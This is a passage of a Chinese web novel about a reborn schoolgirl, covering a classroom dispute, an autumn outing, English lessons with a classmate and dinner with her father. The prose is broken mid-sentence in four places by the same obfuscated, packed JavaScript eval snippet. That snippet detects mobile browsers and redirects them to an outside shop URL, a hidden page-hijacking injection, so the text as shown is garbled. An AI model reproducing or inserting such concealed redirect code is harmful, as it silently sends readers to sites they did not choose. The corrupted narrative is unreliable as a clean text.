程守萍摇摇头:“就算找出来了又有什么用,还能让他也写份检讨书不成?”诽谤造谣成本最低,就是想追责,还得证明自己这方确实有受损情况,何况是这么小的一件事。 “找出来了也好防小人啊……”后面半句她刻意提高了一些声调,“让我知道是哪个打的小报告!哼,卑鄙小人,不会给他好脸色看的!” 班里没回家的同学基本都在吃饭,也有要好的三五个凑在一起,聊天说笑。 教室里比较嘈杂,蔡琳玲说后半句的音量也不算大,大多数人都没在意。但右侧隔开一列座位有个男生回头看了蔡琳玲一眼,眼神里带着惊讶与猜度,但又躲躲闪闪的,与程守萍的目光一对上,马上转开了,假装去看教室后方的黑板报。 颇有点欲盖弥彰的味道。 这个男生叫曹俊,是语文课代表。 下午有班会课,陈老师上来就说:“老师要澄清一件事,沈继舟昨天并没有主动分发饼干,而是出于关心同学才拿出饼干的。老师要向沈继舟同学道歉,没有向更多同学了解事情真相就批评了沈继舟同学……” 程守萍刻意留心曹俊,见他满脸失望之色,悻悻然朝沈继舟所在的方向白了一眼。 果然是他啊。蔡琳玲有一点说得非常对,小人不得不防。 陈老师道歉之后,又表扬了沈继舟的无私举动,让大家向他学习,友爱同学,一起进步。 虽然沈继舟脊背还是挺得笔直,嘴唇也紧紧抿着,但程守萍就在他侧后方,眼看着他的脸一点点红了起来,从侧颊直到耳根都泛起了淡淡的红晕。 少年还是脸薄,听几句表扬就脸红了。 之后陈老师提到了周六的秋游,会坐巨龙车去市郊的摄山公园,提醒大家做好准备,外出一定要集体行动,跟紧老师,注意安全等等。 教室里这下炸开了锅,气氛比节日要放假还热烈。秋游可是大日子,难得可以一整天不用上课,还能带零食去,哪个小朋友会不兴奋? 大概也就程守萍小朋友了。 没几天就要到21日了,虽然她已经有了初步计划,但到底事关重大,她一闲下来就在琢磨这件事,不断复盘,根本没有什么游乐的心情。 何况她还晕车! 班会课结束后就放学了。 理书包的时候,蔡琳玲拍了一下沈继舟:“一起走啊,我请你吃油墩子。”也算是今天害他吃批评还差点写了检讨书的赔礼了。 沈继舟:“不用了。” 蔡琳玲:“那……一毛以下的零食你随便挑。” 沈继舟低笑一声,回头拒绝:“真的不用。你们……也向陈老师解释了。” 说到这句他看向程守萍,神情变得认真起来:“谢谢你。” “这件事本来就不是你的错,我只是向陈老师说明情况而已。” “好啦,不要谢来谢去的,再谢下去油墩子都要收摊了。”蔡琳玲催促着,站了起来。 三个人都笑了,理好书包往外走。 校门口转出去就是卖油墩子的小摊,一个煤球炉,一个小油锅,阿婆在铁皮模子里倒上一点面糊,放油里稍微炸一下定定型,再放入一大筷子萝卜丝,浇入面糊到模子大概八分满的地方,继续下油锅,炸到整个油墩子定型了,在油里稍微抖抖,油墩子就自己脱模出来了。 空气里弥漫着浓郁的炸物香气。 蔡琳玲说是要请沈继舟,其实是自己嘴馋,走到小油锅旁边就走不动路了:“阿婆,来三个油墩子。” 程守萍说:“我就不吃了,买两个就好。” “今天都是我请。”蔡琳玲豪气万丈地宣布。 其实她清楚得很,昨天的风波就是她惹出来的,今天能圆满解决,一是沈继舟嘴严,没把她供出去,二就是程守萍的功劳。 蔡琳玲以前从没觉得程守萍有多厉害,和她做朋友,是知道她家里的事后有点同情她,有什么好事的话都会尽量捎带上她,有那么点扶贫济困的意思。 但今天发生的事可让她想也想不到,老师都当众批评沈继舟了,程守萍还敢去找老师说这件事,而且能让沈继舟从写检讨变成受表扬,最要紧的是直到最后也没把她干的事情捅出去,皆大欢喜! 蔡琳玲很佩服程守萍,由衷的。 她勾起程守萍的手嬉皮笑脸:“坏事变好事,你是大功臣啊!我肯定要请你吃的。” 眼看沈继舟从旁边走过去了,蔡琳玲急忙喊住他:“哎,你别走啊,给你也买了。” 沈继舟脚步顿了顿,有点迟疑地站住了。 但他并不过来,就站在几步开外等。 油墩子刚炸好,用纸裹着,滚烫喷香。 程守萍两手交替着拿,打算等稍微凉点了再吃。 蔡琳玲心急等不及,呼呼吹了几口气就上嘴咬,不过她是有经验的,知道这东西绝对不能大口咬,只能一点点小口咬开,里面可烫着呢!但是啊,脆皮里面包裹着的软嫩咸鲜带点黏糊的萝卜丝,就是要趁烫口的时候吃才最美味啊。 沈继舟走在她们后面,像程守萍一样换手拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059901|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 油墩子,妈妈不让他买这些街头零食,说不卫生,点心都是家里准备好的。 不过偶尔吃一个也没关系吧。 走到路口,程守萍要去爸爸的工厂,蔡琳玲走另一个方向,朝她挥手告别。 程守萍走出一段,回头看到沈继舟也是这个方向,不过他走在马路另一边,也不知道是什么时候穿到对面去的。 - 晚上照例程守萍在房间里写作业,程根生在厨房听评书,顺便看着宏志。 程守萍关上门之后就开始找有爸爸笔迹的东西,但就算有什么单据之类也都锁在抽屉里了,她根本看不到。 对了,试卷!有家长签字。 程守萍赶紧翻出之前的考试卷,看到上面的72分稍微有点惭愧。不过下次她就不会考这种分数了。 分数旁边就是程根生的签名,她先用比较薄的纸放在上面,描下签名,反复模仿,等到写熟练了,再模仿这种写字风格写了张请假条,刻意把一笔一划都写得很用力,最后签上程根生的名字。 她写了五张请假条,从里面挑出最像的一张,其他都撕成很小的碎纸片。 刚把请假条夹进课本,就听见推门的声音。 程守萍合起课本,抬头看向程根生:“爸爸?” 程根生在桌上放了一元纸币:“你们要去秋游了,你买点零食吧。” 程守萍有点意外,家里不富裕,爸爸每个月的工资存了一大半用来还债,剩下大概30来块钱,就是一家三口一个月的生活开销,为了存钱,爸爸把烟也戒了。所以她平常都没有零花钱,更没有买零食的习惯。 小时候去春游秋游,爸爸会让她带包子和蛋糕,吃得不比别人差。但从来没有给过这么多钱让她买零食的。 “爸爸,我不用这么多钱,只要带午饭就好了。” 女儿越是懂事,程根生越是愧疚,仿佛一夜间他才突然发现女儿长大了,别人家的小孩都有零花钱,虽然不多,几毛几分的也能买点解馋的蜜饯糖果小点心。女儿一直都没有零花钱,也从来不问他要。 他不会说好听的话,便只是重复了一遍:“你去买点零食吧。”说完抬手在她头顶重重地摸了摸,就推门出去了。 程守萍撕下作业本中间一页,折成纸钱包,然后把这一元钱平平整整地夹在里面。 - 上午第一节课的课间,程守萍把伪造的请假条交给了陈老师,惴惴不安地等在一旁。 陈老师正在改作业,粗略看了一下就将请假条夹在备课本里:“行了,去吧。”头也不抬地继续批作业。 程守萍松了口气,这个时机果然挑对了。 教室后排,蔡琳玲和好几个女生正聚在一起,兴致勃勃地讨论放学去哪儿买秋游吃的零食,要互相不重复的,可以换着吃。一群人嘻嘻哈哈地正说得热闹,蔡琳玲回头看到程守萍,急忙收住,讪讪一笑。 程守萍笑着朝她摇摇头,意思没关系的。换做几十年前的自己,确实会在这种时刻感到失落。但如今的她根本不会在乎这种对比。 那一元钱她也不准备买零食,她有更重要的用处。 5. 【秋游去】 放学后,她独自往工厂方向走。路上经过新华书店,她进店一看,这时候的书店与几十年后大相径庭,没有敞开式的书架让人随意取阅,售货员在柜台后面,书架也在柜台后面。 书店里人不多,售货员一眼看到她了:“小朋友,你进来做什么呀?” “阿姨你好,我想看看有没有英语学习方面的书。” 这个年代小学没有英文课,要到初中才开始学ABCD,当年程守萍英语学的一塌糊涂,当时觉得无所谓,后面去技校那就更用不上了,初中学的那点东西统统还给老师。 后来才知道,不管是求学还是做事业,学好英语都是非常有用的,但那时候她已经学不进去了。 现在小学的课程对她来说比较轻松,不如提前学学英文,到时候初中学起来也会更轻松。 “哦呦~”售货员吃惊地笑了起来,“你这么一点点大,就要学英文了?你爸爸妈妈呢?” 听到她们对话,另外几个售货员也凑了过来,看这个小姑娘个子不高,瘦筋筋的大概也就八、九岁不超过十岁的样子,却没父母带着,独自一人进了书店,开口就问英语学习书,都觉得新奇。 “阿姨,我读四年级了,英语是刚刚开始接触,有没有基础点的学习书?最好是初中课本。” “初中课本已经没货了。” “还有其他的英语学习书吗?” “要买书,你带钱了吗?” 程守萍从书包夹层里摸出纸钱包,抽出那张纸币给她们看到纸币一角,又放回去了。 售货员们都笑起来:“这小囡还蛮仔细的呢。” 其中一人转身从书架上取下一本紫色封皮的书,转过来看了看价格:“这本要一块伍角。” 程守萍咬了咬唇:“有一块以内的书吗?” 售货员在书架上找了找:“喏,这里有本许国璋英语,一册只要一块钱。” 程守萍刚想付钱,听见有人叫她,回头看去。 少年逆光站着,第一眼只能看见他略显单薄却挺拔的身形,再定睛细看面容,是沈继舟。 他朝她摇头:“先别买。” 她稍微有点犹豫,但转念一想,书又不会长脚跑掉,先听听他说的再决定不迟。 她朝售货员歉意地笑笑:“阿姨,我晚一点再来买书,谢谢你们帮我选书。” 走出书店,她好奇地问沈继舟:“为什么叫我先别买啊?” 沈继舟却不答反问:“你在学英语?” “嗯。”程守萍点点头,又急忙解释道,“我还什么都不会,只是想学。” 沈继舟说:“书店的英语书对刚学的人来说有点难,我家里有初中的英语课本。” “真的?能借我看看吗?”程守萍大喜。 沈继舟点点头。 程守萍高兴坏了,难怪他让她先别买书呢,这不,有现成的课本,省下一大笔钱。想到这里她又有点好奇:“你家怎么会有初中的课本?你有哥哥姐姐?” “我爸爸是老师。” 原来如此,程守萍转念间想到了:“你爸爸让你提前学英语了?” “嗯。” “你爸爸真不愧是老师。”程守萍感慨道,真的是有远见。 这年头新华书店的英语书都只有寥寥几本,会英语的人更是凤毛麟角,她要自学其实难度相当大,但有人比她懂得多,又是前后排能经常向他请教的话就不一样了。她就算再笨,笨鸟先飞,比人家多学个几年,总不会学得太差吧? “以后我如果有不懂的地方就要向你请教啦!” 程守萍笑眯眯地。这就是现成的资源啊! “嗯。”沈继舟有点不好意思,声音也轻了许多。 两人说着话,并肩走了一段,到达十字路口后,挥手告别。 - 程守萍去厂办幼儿园接弟弟的时候,又遇到了王老师。 王老师瞧见她就想起那天的争执,嘴角往下沉了沉,眼珠子往上一翻。 程守萍笑眯眯地朝她打招呼:“王老师好,我来接宏宏了。” 王老师:“……”怎么这小囡就像什么事都没发生过一样笑嘻嘻的?那事才过去没两天就忘记了? 她低头打量着程守萍,实在看不出她的笑脸有半点假装的成分。俗话说伸手不打笑脸人,何况又是个小女孩,这么笑眯眯地和人打招呼,她一个大人,做老师的人,总不能再摆出副后娘面孔爱理不理吧。 王老师的脸色缓和了一些,朝她点一下头:“宏宏在教室里,你去接他吧。” 这两天程守萍在家里旁敲侧击地问过宏宏,知道这些天王老师并没有区别对待宏宏,不管是吃饭睡觉,还是做游戏、分玩具,宏宏得到的和其他小朋友都是一样的,这才放下心来。 至少王老师不是那种会因为一点小事就把气出在幼童身上的老师。那她再见王老师的时候,当然是客客气气的喽。 - 第二天清晨,天蒙蒙亮的时候程守萍就起来了,洗漱之后把提前准备好的生姜切片,再把姜片重新叠整齐,用纸包好。早饭她也没敢吃,空着肚子就出门了。 晕车的孩子真伤不起啊。 程守萍进教室的时候,班里大约只来了一半同学,三五成群地聚在一起说笑。 没多久沈继舟也来了,坐下后从书包里掏出一本九成新的《英语》,第一册。 程守萍眼睛立马亮了,迫不及待接过来翻看。 “ABCD……”果真是全部还给老师了,第五个就读不出来了。 “E、F、G。” “EFG,EFG……”程守萍跟着沈继舟念,他念一遍,她要念好几遍,发音不对的他还会帮她纠正。 “咦?你们在读什么?歌词吗?”蔡琳玲坐到座位上,把一个撑得鼓鼓囊囊的书包放到课桌上,探头看向程守萍手里的书本,“这是什么书啊?” 程守萍给她看看封面。 “英语?你为什么要看英语书啊?” “学呗。” 蔡琳玲苦着脸道:“就现在那两座大山还不够你学的啊?” 不够,当然不够,她以后还要学更多。 陈老师走进教室,开始点名,看人都到齐了,就让大家排队下楼。 学校门口的路边停了好几辆巨龙车。所谓的巨龙车,就是有前后两节车厢的老式公交车,中间用铰链、活动地板和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059902|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类似风箱的结构连接。 这么一排车停在那里,还挺壮观的。 程守萍深吸一口气憋住,一上车就赶紧找前排靠窗边的座位坐下,迅速打开车窗把头伸到外面去,这才敢喘气。 蔡琳玲贴着她坐下,拉开书包拿出一包话梅递给她:“含一粒,晕车会好一点。” 程守萍讶异地接过话梅,前世的蔡琳玲有这么贴心吗?回忆起来,那时候她们虽然做了好几年的同桌,但关系也没有要好到这样的程度。蔡琳玲在班里还有更要好的女同学,春游秋游如果坐车的话也是和她们坐在一起的。 车子突然一震,缓缓发动起来。 程守萍脸一白,又趴回车窗边去了。 事实证明,话梅确实是有点效果的,但最后程守萍还是用上了姜片。 好不容易熬到陈老师宣布可以下车了。程守萍下车后第一件事就是远离巨龙车,在有风的地方站着深呼吸。 陈老师让大家先去厕所,十分钟后集合,开始爬山。 摄山说是山,海拔只有一百米,就是个小土丘。但因为市区整体地势低,爬上山后还是可以俯瞰周边,风景还算优美。 程守萍心里想,在这样视野开阔的地方,找个太阳充足的地方坐下来看书该多舒服啊,但可惜,她只能跟着大部队上山。 终于爬到山顶,顶上有个观景平台,还竖了根石桩子,标着此处海拔99米,倒是蛮讨口彩的。 陈老师宣布可以在附近自由活动一段时间,但不能远离,不能单独行动,不管去哪里都要结伴,还要注意安全。 蔡琳玲想拉程守萍进她交好的小团体。程守萍摇摇头,她没带零食只带了午饭,吃蔡琳玲一两个话梅也就算了,要是加入她们那个小团体,人家都在交换零食,不分给她不好,分给她,她却又没有什么可以和别人换着吃的。 她说:“我晕车劲还没过去,想在这里坐一下,你去吧。我等好点了来找你们。” 蔡琳玲自然不会多想,朝她点点头就走了。 她在原地坐了会儿,看蔡琳玲走远,才起身往反方向走,想要挑个学生少点的地方看看风景,却远远瞧见了沈继舟。 他也是独自一个人。 程守萍回忆这两天来所见,他在班里是挺“独”的。大家对这类人的评价往往是孤僻内向。但其实他属于挺好相处的人,只是不太主动而已。 她朝他走近,问:“这里风景好吗?” 沈继舟回头:“一般。” 程守萍:“……”难怪没朋友。 吐槽归吐槽,她还是走到他附近,朝他刚才眺望的方向看去。 她才发现他们所在的地方并不是摄山最高处,有条挺宽的山道一路延伸,尽头是个地势更高的地方,有座白色的建筑,形状奇特。 她立时想起来:“那是摄山天文台!” 沈继舟似乎有些意外:“你也知道?” “……” 程守萍无语片刻,才说:“我没去过,但也听说过。”她还在电视上见过呢。 她可不是普通小学生,好歹有上一世的见识在。 “我们过去看看吗?”少年双眼有光,语气迫切又期待。 6. 【海鸥牌照相机】 程守萍想起陈老师的话,原来是因为不能单独行动,不然他早就一个人跑过去看了吧。 反正她也没什么事,就陪他过去看看天文台吧。路上正好背二十六个英文字母,背错了随时可以得到纠正。 这可是完全免费的英语老师啊,再过个十年二十年,一对一辅导的老师课费都是按小时结算的! 沿着山道台阶走过去,很快到了天文台所在,这里地势开阔,周围没有更高的遮挡物。 白色建筑前有块大理石碑,刻着天文台的历史背景和相关介绍。 读完介绍后,沈继舟就开始寻找入口,可惜绕着整幢建筑走了一圈,也没找到可以进去的地方,门是锁着的,连个人影都没有。 他看上去很失望。 程守萍安慰他道:“天文台都是晚上观测星星,白天当然没人啦。” 他很轻地叹了口气,安静片刻,从书包里掏出一个照相机,海鸥牌,黑色仿皮质地的机身,顶部和底部都是银色的金属,看上去既复古又很高级的样子。 程守萍是真的震惊了:“你还带着照相机?!” 这人真的是小学生吗?不会也是重生来的吧? 但一想到他盯着检讨书写不出半个字的苦恼样子,程守萍又打消了这个念头。 “嗯。我爸爸的。” 沈继舟抬头看到她惊讶的神色,误会了她的意思,急忙解释道,“爸爸答应让我带来的,不是我偷拿的。” “没有没有,我不是这个意思。”程守萍急忙转移话题,“这相机你会用吗?” “嗯。”他简短地应了一声,低头摆弄相机。显然是在家学过怎么用,但并不是很熟练的样子。 程守萍看他这架势,估计一时半会儿弄不好,便走到天文台一旁的观景平台。这里的风景比海拔99米石柱子那儿的要好,视野非常开阔,阳光又很明媚,晒得人暖洋洋的。 风吹起她的额发,她闭上双眼,仰起头迎着太阳的方向,享受着阳光与山风的沐浴。 耳边传来机械快门短促而连续的轻微声响。 她回头:“能拍了?要不要我让开?”虽然是这么问,但她没等沈继舟回答就很自觉地朝旁边走开。 沈继舟对着天文台换不同的角度拍了好几张照片,还把介绍的石碑也拍下来了。 程守萍问他:“要不要我帮你拍张站在天文台前面的照片,留作纪念。”来都来了嘛。 沈继舟先是摇头,稍作迟疑后又点头了:“好。” 他把相机挂上她脖子,然后教她怎么拨动胶卷,怎么对焦,哪里又是快门。 他教一遍,她嘴里念念有词地跟一遍,手上动作做一遍,也就记住了。 “最难的是对焦,你要来回一点点调,等镜头里要拍的东西变得特别清楚,这时候再去按快门。”他指着相机顶端的一小块玻璃,“看这里。” “我知道了,你快去,就站在那块介绍的石碑旁边。” 少年走过去,立在石碑旁,腰背是挺直的,表情是紧绷的,神态是拘谨的。 程守萍把眼睛贴上小玻璃,忽然惊讶地叫道:“房子是反的!你也是反的!” 沈继舟眼睛弯弯地笑了起来:“就应该是反的……” 她抓住时机按下了快门。 “咔嚓!” “别动,再拍一张。” “……” 沈继舟走回来,接过相机问:“你要不要也拍一张?”顿了顿,又补一句,“留作纪念。” 程守萍是很想拍一张,小时候她没留下多少照片,除了满月照,毕业照之外,就只有工作证件照了。但是…… 胶卷和冲洗照片都要钱,她还想存着钱买更重要的东西。 “这一卷胶卷都要拍完才能拿出来冲照片,反正都要拍完的,你也拍一张吧。” “那好,拍一张吧。” 程守萍只是稍作纠结,很快就想开了,存钱是重要,但她也不想错过人生中各种美好的时刻。 跑到石碑旁,她捋了捋被风吹乱的头发,对着镜头努力笑出自己最好看的笑容。 估摸着集合的时间差不多快到了,他们沿着山道往回走。 山道边有供游人休息的长条石凳,他们走到附近时,突然从一旁分岔的小道上冲出来好几个男生,嬉笑着抢坐石凳。 程守萍在山道内侧,离石凳比较近,被其中一个男生撞到了手臂,身体也跟着往前晃一下,差点摔一跤。 那男生就跟完全没看到她一样,抢到石凳前,一屁股坐下来,得意地大笑。另外两个男生也挤着他坐下,余下两个没抢到坐凳,懊丧地叹气。 沈继舟走过去:“你们撞到人了。” 男生们朝他看过来,撞程守萍那个男生嬉皮塌脸的耍起了无赖:“谁看到了?” “我看到了。” “但是我们都没看到啊!”没抢到座位的两个男生一左一右站到沈继舟两侧,他们都比沈继舟高了半个头,是高年级的学生。 沈继舟没有退缩,紧紧盯着耍无赖的男生:“你要赔礼道歉!” 程守萍把他往后拉了拉:“走吧。” 然后她故意用一种压低嗓门的语调,但其实刚好够附近的人能听到的音量对他说:“凳子上有滩鸟屎,就让他们多坐会儿。” “啊?!”三个男生像火烧了屁股一样急忙跳起来,转头俯身去看石凳,寻找鸟屎痕迹。 程守萍忍着笑,低声催沈继舟快走。他也笑了起来,快步追上她。 身后传来耍无赖男生的声音:“施建华,帮我看看裤子上有没有……” 施建华?! 程守萍心头巨震,转头看去,就见耍无赖男生撩高校服,向后撅着屁股,一个瘦高男生正忍笑摇头说没有,同时向她投来一道好奇的眼神。 她马上回头。 沈继舟注意到她的笑容消失:“刚才撞疼了吗?” 程守萍一时之间说不出话来,只顾加快脚步,离那几个人越远越好。 走出几十步了,她才想起沈继舟刚才的询问,抬头就见他又关切又有点不知所措的神情。 “不是的。”她朝他笑了笑,“已经不疼了,但要是他们发现被骗了,可能会追上来骂我们。还是赶紧去集合地方吧。” 沈继舟松了口气:“好。” “守萍!沈继舟!”蔡琳玲远远地朝他们挥手。 “你们去哪里了啊?我到处找你。”蔡琳玲摊开的手心里有两颗玻璃糖纸包裹的水果糖,阳光映射下,晶莹剔透,好像两颗宝石。 “光明的。糖吃完了玻璃纸要还给我哦。” “你脸色不太好啊,还在晕车?” 程守萍摇摇头,看到施建华让她比吞了只苍蝇还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059903|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶心,本能驱使着她尽快远离那个人。现在回头想想,她凭啥要躲开?她从来都没做过对不起他的事情,只有他亏欠过她。而且他现在也只是个小学生而已,做不出那些追到她娘家来打砸喝骂的事情。 不过人看到恶心的东西,想避开也是人之常情吧。 想到这里,她倒是心平气和起来。 她拿起一颗糖剥开,水果糖酸酸甜甜,带着青苹果的清新香气,也安抚了她的情绪。 蔡琳玲小心翼翼地将玻璃糖纸展平,夹进对折的纸中间,里面已经有好几张玻璃纸了。 至于沈继舟么,在蔡琳玲给程守萍吃水果糖的时候又不知道隐身到哪里去了。 临近中午,以班级为单位,找一个相对开阔的地方,围成一圈或者两圈,大家拿出提前准备好的旧报纸,地上铺好,就地坐下,拿出自带的午饭来吃。 程守萍塞了块水果蛋糕给蔡琳玲。 这是爸爸托厂里女同事买的,一般的粮油食品店买不到,要去市中心的食品店才有卖,要么就食品厂内购。 每年春游秋游,水果蛋糕家里都是必买的。蛋糕里面有糖渍的金桔、橘皮丝,面上还有红绿丝做装饰,吃口也比西式奶油蛋糕要硬一点,但在这些年已经是比较高级的糕点了。 饭后照例是玩一些集体游戏。 丢手绢的时候蔡琳玲做了好几个假动作,最后把手绢丢到曹俊的身后,还朝程守萍眨了眨眼。程守萍面不改色,只当没看见。 曹俊木知木觉,还在嘲笑别人。蔡琳玲绕一圈后跑回他背后,用力一掌拍下去,等于趁机打了他一下。 曹俊痛得叫了一声“哇!” 蔡琳玲笑得路都跑不稳了,捧着肚子奔回程守萍旁边坐下。 程守萍朝她比了个大拇指。干得漂亮! 沈继舟也轻轻笑了。 事情第二天蔡琳玲就告诉他,分饼干是曹俊打的小报告,但他并不准备去找曹俊对质或是做些别的什么事去报复。做这些很麻烦,他宁可多写两篇作文也不想在那种事情上浪费时间。 愉快的时光过得飞快,陈老师宣布整队,要下山了。 回去的一路上又是一番煎熬,程守萍靠着姜片强撑,捱到终点。 下车后,蔡琳玲惊喜地叫了一声:“妈妈来接我了!”接着就蹦蹦跳跳地跑过去抱住了她妈妈。 蔡琳玲妈妈和老师打过招呼,就把她接走了。 看到蔡琳玲抱住她妈妈,仰着脸笑得特别开心的样子,程守萍心头不觉泛起酸楚,她已经有许多年没有抱过妈妈了,现在回忆妈妈的样子,只有模模糊糊的面容,唯独还记得妈妈的怀抱是那么温暖而包容。 因为秋游回来的早,她到工厂的时候,宏志还没放学,她就先去了爸爸工作的地方。 家属不能进车间,只能在外面等候区等。 “娄桐,电话。”程守萍听见车间另一头有人喊,还补了句,“你女朋友。” 娄桐应了一声,不一会儿就从里面小跑出来。 这就是前世害爸爸残疾的那个工人,爸爸出事后他被记过,扣了几个月的工资。但那些对于永远失去手指的爸爸又有什么用呢? 尽管心里对这个人恨得牙痒,程守萍仍是礼貌地向他问好:“娄叔叔好。我爸爸呢?” “去办公室了。”娄桐丢下一句,头也不回地跑远了。 7. 【两块大排】 发生事故的那次也是这样,他为接电话丢下装了一半的车刀。 他的一次疏忽,让爸爸终身残疾,再也没能回到原来工作岗位上,伤养好后只能调岗,做了工具室保管员。 自那以后,爸爸变得更沉默寡言了…… 她听到爸爸叫她:“守萍,你怎么没去接弟弟?” “我刚到的时候还早,他们在唱歌没放学,我就先过来看看你在不在。” 程根生这会儿已经下班了:“走吧,去接宏宏。” “嗯。”程守萍伸手挽住程根生,“爸,接上弟弟就赶紧吃饭吧,我怕晕车就没敢多吃,都快饿坏了。” 程根生有点吃惊,女儿从以前就和妈妈比较亲近,也会像这样挽着妈妈撒撒娇,说说学校里的事情。 像这样挽着他的胳膊亲亲热热地说话,好像还是第一次。 但这样也挺好的。 程根生心里热乎乎的,好像大冬天里喝了碗热米酒一样舒泰。 接上弟弟后去食堂,打饭的时候程根生多加了两块大排。宏宏高兴地直拍手:“吃大排了,吃大排了!” 家里的情况虽然不至于天天吃青菜白饭,但一般也就加个小荤,像是青椒肉片、肉末茄子、番茄炒鸡蛋之类的,像大排、红烧肉这类大肉菜,一般只有月头爸爸发工资的时候才会吃。 程守萍虽然也很馋肉,但又有点不解,是今天有什么好事情发生吗? 程根生把一块大排放她碗里,另一块给了宏宏,见她没动筷便催促道:“饿了吧?快吃。” 是因为她说自己饿坏了吗? 前世的自己因为知道家里负债,经济困难,很少向爸爸提要求。另外也是因为爸爸的性格比较沉闷,她小时候对爸爸更多的是敬畏而非亲近,所以也很少这么直白地向他撒娇。 重生这一世,她的内在已不是当初那个小女孩,对爸爸的情绪与想法也有了更深刻的理解,反而让她感觉和爸爸更亲近了。 程守萍轻轻“嗯”了一声。 不过她毕竟不是宏宏,看到爸爸饭盆里只有米饭和青菜,哪能心安理得独吞一整块大排。她用勺子和筷子把大排切开,夹起半块放在爸爸碗里。 宏宏嘴巴小,咬一口大排,脸两边蹭的都是酱汁,好像两撇奇怪的酱油胡子。 他正鼓着腮帮子用力嚼肉,看见姐姐的举动,也把大排举到爸爸嘴边:“爸爸,吃。” 程根生摇头:“你们吃,你们吃。” 因为家里条件不好,他一直都对两个孩子存有愧疚之感,但欠债的滋味实在不好过,为了早日还清欠的钱,他过得十分节俭,每月工资的一半直接存起来,另外一半也花得十分小心,恨不得一分钢镚掰成两半来花。久而久之,省钱已经成为刻在骨子里的习惯了。 但是今天女儿的一句话提醒了他,他一侧头就能看到她削瘦的脸颊,格外纤细的手腕。包括宏宏也是,虽然他的小脸蛋还是圆鼓鼓的,身板却比别家小囡都要瘦弱些,个头也要矮一点。 姐弟俩都在长身体的时候,这个年纪如果吃不好,以后的体格也会比别人弱,比别人差。 程根生暗下决心,其他方面的钱能省,吃的方面不能再像以前那样节省了,该花还得花。说是这么说,到底节俭惯了,打菜的时候他犹豫了一下,还是只买了两块大排,让姐弟俩吃好点就行。 没想到女儿会分一半大排给他,而宏宏也有样学样地把自己大排让给他咬。程根生感动之余,更觉对不起两个孩子。 宏宏看爸爸摇头拒绝,有些犹豫想缩回手。 程守萍对宏宏说:“爸爸一天上班下来很辛苦的,他要是不吃肉,就没有力气好好上班了。爸爸心里想着我们,我们也要多为他想想。” 宏宏一听,用力点头,把大排又往程根生面前送去。 因为小家伙筷子还用不熟练,所以大排是用筷子戳起来吃的,在筷梢上晃晃悠悠,摇摇欲坠。 程根生拗不过他,又怕好好的大排掉地上糟蹋了,只好连他小手与筷子一起捏住,咬了一小口。 宏宏又把大排举给程守萍:“姐姐,也吃。” 程守萍笑眯眯地咬了一大口,撸撸宏宏的头:“宏宏真乖。” - 晚间,程守萍写完作业就开始写英文字母,她依稀记得以前写英文都是那种四线的本子,就用尺子在草稿本上画线,一边画线,一边背二十六个字母表,然后从Aa开始抄写,每个字母大小写各抄十遍。 程根生推门进来,看到她写的字母,又看到放在一旁的书册封面,不由讶异:“你们开始学英语了?” “学校没上,是同学借我的,这是初中课本。” 程根生吃惊地看了看女儿,拿起书本翻了翻,看到扉页上沈继舟的名字。 “男同学?” “嗯,他爸爸是老师,让他提前学英语,我也想学。他就把书借我了。” 程根生点点头,女儿能投入学习是件好事,有学习好的同学带着,成绩更容易提高。他默默看了会女儿专注书写的样子,把书放回桌边,离开房间时把门轻轻带上。 - 星期一的语文课上,陈老师讲解作文,就是秋游后要求大家写的摄山一日游。 蔡琳玲在作文里写她吃话梅、水果糖、饼干、水果蛋糕、盐津枣……从上车吃到下车,再从山下吃到山上,一路吃回学校。 被陈老师评价为流水账,发回重写。 秋游虽然开心,但秋游作文写起来就不开心了,如果作文要重写,那就更更更不开心了。蔡琳玲愁眉苦脸地拿回作文本,唉声叹气。 沈继舟的作文毫无悬念地又被表扬了,老师说他观察入微,从细节上写出秋天的特征,说他有双善于发现美的眼睛。 曹俊在座位上双手抱胸,直翻白眼。 最让程守萍意想不到的是,她的作文也被表扬了。 她写的是自己晕车,也写了蔡琳玲对她的关心,还写了在山顶看到风景时的感受。陈老师说她写出了真情实感,先抑后扬,最后结尾时的点题尤其出彩。 她最后是这样写的:人生不也是这样?在低谷的时候不应该气馁,只要努力攀登,找对方向,一定能登上高处,看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 